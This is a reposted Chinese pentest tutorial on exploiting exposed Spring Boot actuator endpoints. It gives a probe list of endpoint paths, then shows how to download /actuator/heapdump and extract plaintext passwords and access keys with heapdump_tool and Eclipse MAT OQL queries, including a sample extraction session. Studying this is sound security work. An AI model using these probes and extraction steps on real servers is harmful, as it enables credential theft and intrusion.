Springboot信息泄露以及heapdump的利用

本文转载于https://blog.csdn.net/weixin_44309905/article/details/127279561

heapdump的利用

0x01 Springboot信息泄露

在这里插入图片描述
渗透测试的时候老遇到spring的heapdump能下载但是不知道怎么利用,今天发几个工具让漏洞危害最大化。通过heapdump获取明文密码在深入利用。

路由列表

/api-docs
/v2/api-docs
/swagger-ui.html
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
/actuator
/auditevents
/autoconfig
/caches
/conditions
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/health
/actuator/conditions
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream

/trace:显示最近的http包信息,可能泄露当前系统存活的Cookie信息。
/env:应用的环境信息,包含Profile、系统环境变量和应用的properties信息,可能泄露明文密码与接口信息。
/jolokia:RCE漏洞
/heapdump:JVM内存信息,分析出明文密码

0x02 下载heapdump

​http://127.0.0.1:8088/actuator/​​查看泄露的端点信息
在这里插入图片描述
在这里插入图片描述
127.0.0.1:8088/actuator/heapdump 下载heapdump文件,泄露JAVA堆dump信息:
在这里插入图片描述

0x03 利用heapdump的姿势

工具一:heapdump_tool

heapdump敏感信息查询工具,例如查找 spring heapdump中的密码明文,AK,SK等。

https://github.com/wyzxxz/heapdump_tool
https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/20220720/heapdump_tool.jar

在这里插入图片描述
工具使用

java -jar heapdump_tool.jar   heapdump.6

在这里插入图片描述

root@wy:~# 
> java -jar heapdump_tool.jar  heapdump.6
[-] file: heapdump.6
[-] Start jhat, waiting...
[-] get objects,waiting(1-2min)...
[-] fing object count: 113128
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> spring.datasource.password
[-] Start find keyword: spring.datasource.password
>> spring.datasource.password -> test@wyzxxz 
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> accesskey
[-] Start find keyword: accessKey
>> ConnectionProperties.noAccessToProcedureBodies -> When determining procedure parameter types for CallableStatements, and the connected user can''t access procedure bodies through "SHOW CREATE PROCEDURE" or select on mysql.proc should the driver instead create basic metadata
>> accessKey -> LTA**************
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> q
[-] exit.

查询密码
在这里插入图片描述
获取IP
在这里插入图片描述
获取url
在这里插入图片描述
获取文件路径

此功能可获取到目标系统的依赖版本。
在这里插入图片描述

工具二:Eclipse MemoryAnalyzer

Eclipse MemoryAnalyzer 工具对泄露的heapdump文件进行分析,查询加载到内存中的明文密码信息。

http://www.eclipse.org/mat/downloads.php

在这里插入图片描述

Springboot信息泄露测试
Burpsuite Intruder模块扫描
在这里插入图片描述

heapdump读取
在这里插入图片描述
在这里插入图片描述

heapdump分析

2.2 heapdump分析
spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry 实例的键值对中

select * from org.springframework.web.context.support.StandardServletEnvironment

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中:

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

在这里插入图片描述

读取Redis明文密码
在这里插入图片描述

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值